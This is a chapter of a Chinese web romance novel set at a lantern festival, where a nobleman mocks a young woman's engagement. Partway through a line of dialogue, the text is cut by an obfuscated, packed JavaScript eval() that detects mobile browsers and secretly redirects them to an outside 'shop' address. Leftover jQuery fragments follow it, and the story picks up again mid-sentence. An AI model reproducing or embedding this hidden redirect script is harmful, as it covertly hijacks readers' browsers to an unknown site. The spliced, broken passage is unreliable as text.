3. 出手

作品:《闻珠识玉美人泪

    闻景负手立在临州最大的酒楼上,一边听着玉泉向他禀报京里最近的动静,视线却落在街上一处灯花铺子跟前站着的一对璧人身上。


    他只能模糊得看见她垂下螓首,接过了身侧男子递过来的灯。


    玉泉躬身禀报完了,却久久不闻声音,便大着胆子抬眼看着背对他而站的闻景。


    “主子要下去走走吗?”


    玉泉见他望着游人如织,灯火如带的街道,连先前不停在栏杆上敲击的手指,也止住了动作。


    闻景见那两人并肩离开,衣袖相交的亲密,脸上浮现出自己都未察觉的阴郁。


    “玉泉,我是不是该娶妻了?”


    玉泉闻言瞪大了双眼,自家主子不知拒绝过多少次夫人安排的花宴,怎么还未回京,就提起这事?


    不过想想也该到了娶世子夫人的时候了。只是不知向来严峻肃恭的主子,会喜欢什么样的姑娘。


    “主子今年也二十有三了,换作其他勋贵子弟早就当爹了!北戎这场仗足足打了两年,已经是耽误了主子成家,不如待回京以后,主子好好相看相看,也早日了却郡主的心愿!”


    “啰嗦!”


    闻景看着两人渐渐远去的背影,一手搭在凭栏上,身上的披风被夜风吹得猎猎作响。


    叶珍珍见面具摊子挂着许多青面獠牙的面具,当即就牵着温行松的衣袖朝那边走去。


    “我戴这个好不好看?”


    叶珍珍取下一只青面獠牙的面具覆在面上,故意朝温行松扑去。


    温行松看着眼前古灵精怪的心上人,一把扶住她的两只胳膊,在叶珍珍耳畔低语道:“很好看!”


    叶珍珍心头甜蜜,却取下面具,嘟囔着道:“……那你也戴一只。”


    说完也转身取了一只不同颜色的面具,递到温行松手里。


    温行松从善如流得接过,也往脸上一戴。


    二人虽看不清彼此的面容,却四目相视,将彼此眼里的笑意,尽收眼底。


    “叶小姐!”


    叶珍珍忽闻一阵陌生的声音,蓦然朝前望去,却见闻景背着手,身后跟着几名亲卫,站在不远处。


    她收起笑意,一手摘下脸上的面具,递与身后的雪青,便见那人一步一步朝这边走来。


    “在下带着人在临川的街上随意逛了逛,却不小心迷了路,见叶小姐和温二公子在一起,不免前来打扰,还望两位不要见怪!”


    “见过闻世子!”


    “在下临州长渡县令温行松,见过闻世子!”温行松摘下面具,朝闻景拱手行礼道,只是起身后朝叶珍珍灿然一笑,“珍珍你也认识闻世子?那倒是有缘!”


    “前几日,你们一家来府上做客时,闻世子也来温府花园里赏花了!”


    “是吗?”


    原来那日温府婆子口中的贵人就是闻景!


    叶珍珍虽吃惊了些,但到底也不觉有什么,只是那日她直到离开时,都未见到温行松的人影。


    温行松见闻景身后只跟着五六个侍卫,便不由拱手低询道:“世子今日也是来这上元节游玩的吗?可需要下官随行?”


    闻景撇了一眼他手里的面具,谦虚道,“温大人客气了,今日这街上的游人也太多了些,我又不熟悉临州的街道,这才迷了路,打扰二位逛街的雅兴了!”


    他虚抬了抬手,示意温行松起身。自己则慢慢走向那面具摊子,也取下一只面具,仔细看了看,笑道:“这面具果然有趣,连我也想买一只来玩!”


    “玉泉,将三只面具的钱都付了!”


    “是!”


    玉泉接过闻景扔过来的面具,很快就付了钱。


    “听说待会湖边还有府州主持的烟火,不如劳烦二位带在下一起去瞧瞧?”


    温行松见他兴致勃勃,恭敬道,“世子客气!既然世子对烟火有兴趣,那在下就陪世子去湖边走走。”


    “世子请!”


    闻景看着他示意的方向,很快就转身走了。身后的温行松和叶珍珍也跟在他身后,慢慢朝湖边所在的方向走去。


    叶珍珍疑惑得朝面前那人高大的身影望去,他带着亲卫出门也会迷路?


    这人,简直说谎都不带眨眼的!


    而身旁的温行松却激动得很,虽然前几日他们已经认识,只是这位世子爷却冷峻的很,哪有方才的谦和?


    这可是才打完北戎的郑国公世子闻景啊!


    这位闻景闻世子,年纪轻轻就身袭郑国公府的世子之位,还在此次出征前,被册封为正三品的都指挥佥事。


    如今又大破北戎,还不知会被加封至什么高位官职。想来如今宗室的子弟里,再没有比他更有权势的勋贵!


    几人行至湖边时,烟火已经开始燃放,而四周则是熙熙攘攘的鼎沸叫声。


    “嘭!”


    “嘭!嘭!”


    叶珍珍站在柳树下,抬头望着碎裂在夜空中的烟花,眼底全是星星点点的光芒。


    只是碍于闻景站在一侧,倒不好同温行松说些什么。


    “二公子!”一仆从从温行松身后急呼道。


    温行松见有人焦急得唤自己,不由朝闻景拱了拱手,才快步朝满头大汗的仆从走去。


    温行松:“出了何事?这般失礼!”


    那仆从擦了擦额间的汗珠,急急道,“二公子,三小姐身边的家丁护主不力,弄丢了三小姐和贴身侍女,大公子得了信,让奴才来寻二公子,一起找三小姐!”


    “怎会走丢?”


    温行松顿时头疼起来,“现下还在放烟火,这里的人这么多,怎么才能找到人?”


    “大公子已经派人回府调集人手了!只是远水解不了近渴,咱们这里还是要先寻起来才好!”


    温行松哪里不明白这个道理?当即便朝闻景所站的方向走去。


    “启禀世子,下人来报,说我们府上的女眷被游人冲散了,请恕下官不能陪世子观赏烟花了。劳烦世子替下官照看一下叶小姐,叶家公子很快就会赶过来,替世子带路!”


    “哦?竟有这等事?”


    闻景关怀道,“温大人自便吧,不用担心叶小姐。我如今就住在叶府,有叶小姐的下人在,看完了烟火,我们就回去。”


    “玉泉!安排几个人,帮着温大人一起去寻人!”


    玉泉点点头,转身点了五个侍卫,随温行松离去。闻景身后只留下他一人随侍。


    叶珍珍虽也担心,但此时已经够乱了,她不能再添乱。只看着温行松朝闻景道谢后,便带着人离开了湖边。


    临走时,她看他朝自己安抚般眨了眨眼,心也渐渐安定下来。


    “原来叶小姐未来的夫婿就是温大人!果然是郎才女貌,天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996321|193891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作之合!”


    闻景见温行松一行人早就消失在人群里,她却还望着那边。


    连夜空中绽放的烟花也顾不得看。


    叶珍珍闻言,心情颇好得朝闻景点点头,“多谢世子夸赞!”


    “世子身份贵重,权柄在握,想来也是京中贵女们梦寐以求的佳婿!”


    闻景听见此话,只觉她嘴角的笑意,比夜空中的烟花还刺眼。


    当即冷笑道,“可惜,不是叶小姐的梦中佳婿!”


    “你在胡说什么?”


    四周人群攘攘,加之不断的烟花爆裂声。身边的下人并未听到二人的闲聊。


    但叶珍珍却听清楚了他口中的狂言。


    她没想到这人看着冷清疏远,口中的话却荒唐得很。


    闻景看着她气极后,眼眸里闪现的水光,心情颇好道:“叶小姐,不如我们打个赌,就赌你和温大人最后不会成亲!”


    叶珍珍气得浑身发抖,她瞪着闻景一脸看好戏的模样,颤声道:“不知小女哪里惹怒了世子,竟让世子说这种荒诞无稽之谈?若是世子还在怪罪那日我冲撞世子的事,我可以再给世子道歉!”


    “在下没有怪罪叶小姐的意思,不过是觉得叶小姐与温二公子站在一起,有些刺眼罢了!”


    烟花早就放尽了,叶珍珍只觉得闻景这话,比方才的烟花炸得还惊心动魄。


    闻景见她呆愣的模样,不禁继续道:“若是在下赢了,那叶小姐——”


    “就怎么样?”


    闻景看她急急忙忙打断自己话的焦急样子,喉间发出一声嗤笑。


    “若是在下赢了,叶小姐自然就知道赌输的后果了!”


    “我们中秋之前就会完婚!想来以世子的才貌,待世子回京后,世家贵女任世子挑选。那我,就提起恭祝世子与未来的世子夫人举案齐眉,白头偕老,早生贵子。”


    “既然叶小姐不相信,那咱们走着瞧!”


    闻景面上毫无波动,只转头看着已经散去的人群,谦和道,“时辰不早了,该回府歇着了,还请叶小姐带路。”


    叶珍珍见他又恢复了这副人模人样的德行,好像方才那些恶毒的话,全是她脑海里的臆想。


    只是他离她越来越近的步伐,在提醒她,他方才当真就是这样说的。


    叶珍珍连连退后几步。


    “……闻世子,回府的方向在你身后。”


    “好吧,”闻景朝她一笑,“那就请叶小姐先行吧。”


    叶珍珍故作凶狠得瞪了他一眼,才绕过他,直直朝回府的方向走去。


    只是在她绕过眼前男子的身躯时,闻景却岿然不动,只是眼神亮得惊人。叶珍珍走了一小段路,待她回头见身后无人时,闻景才转身跟了上去。


    临州少雨。


    只是这几日不知为何,沥沥淅淅的小雨就一直没有停过。


    轩窗半开,丝丝水汽随着有些沁人的风,只缀湿了廊檐下一片,便停住了脚步。


    只是屋子的气氛不似外间的清幽。


    叶孝义本是临州的刺史,虽只是正四品下,但也算的上一方大吏。只是此刻的他,正顶着一脑门大汗,神色惶惶得跪在闻景脚边,不停地求饶磕头。


    “下官已经知错了!负责押运粮草的曹强已经被下官命人下了大狱,还请世子高抬贵手,饶下官这一次!”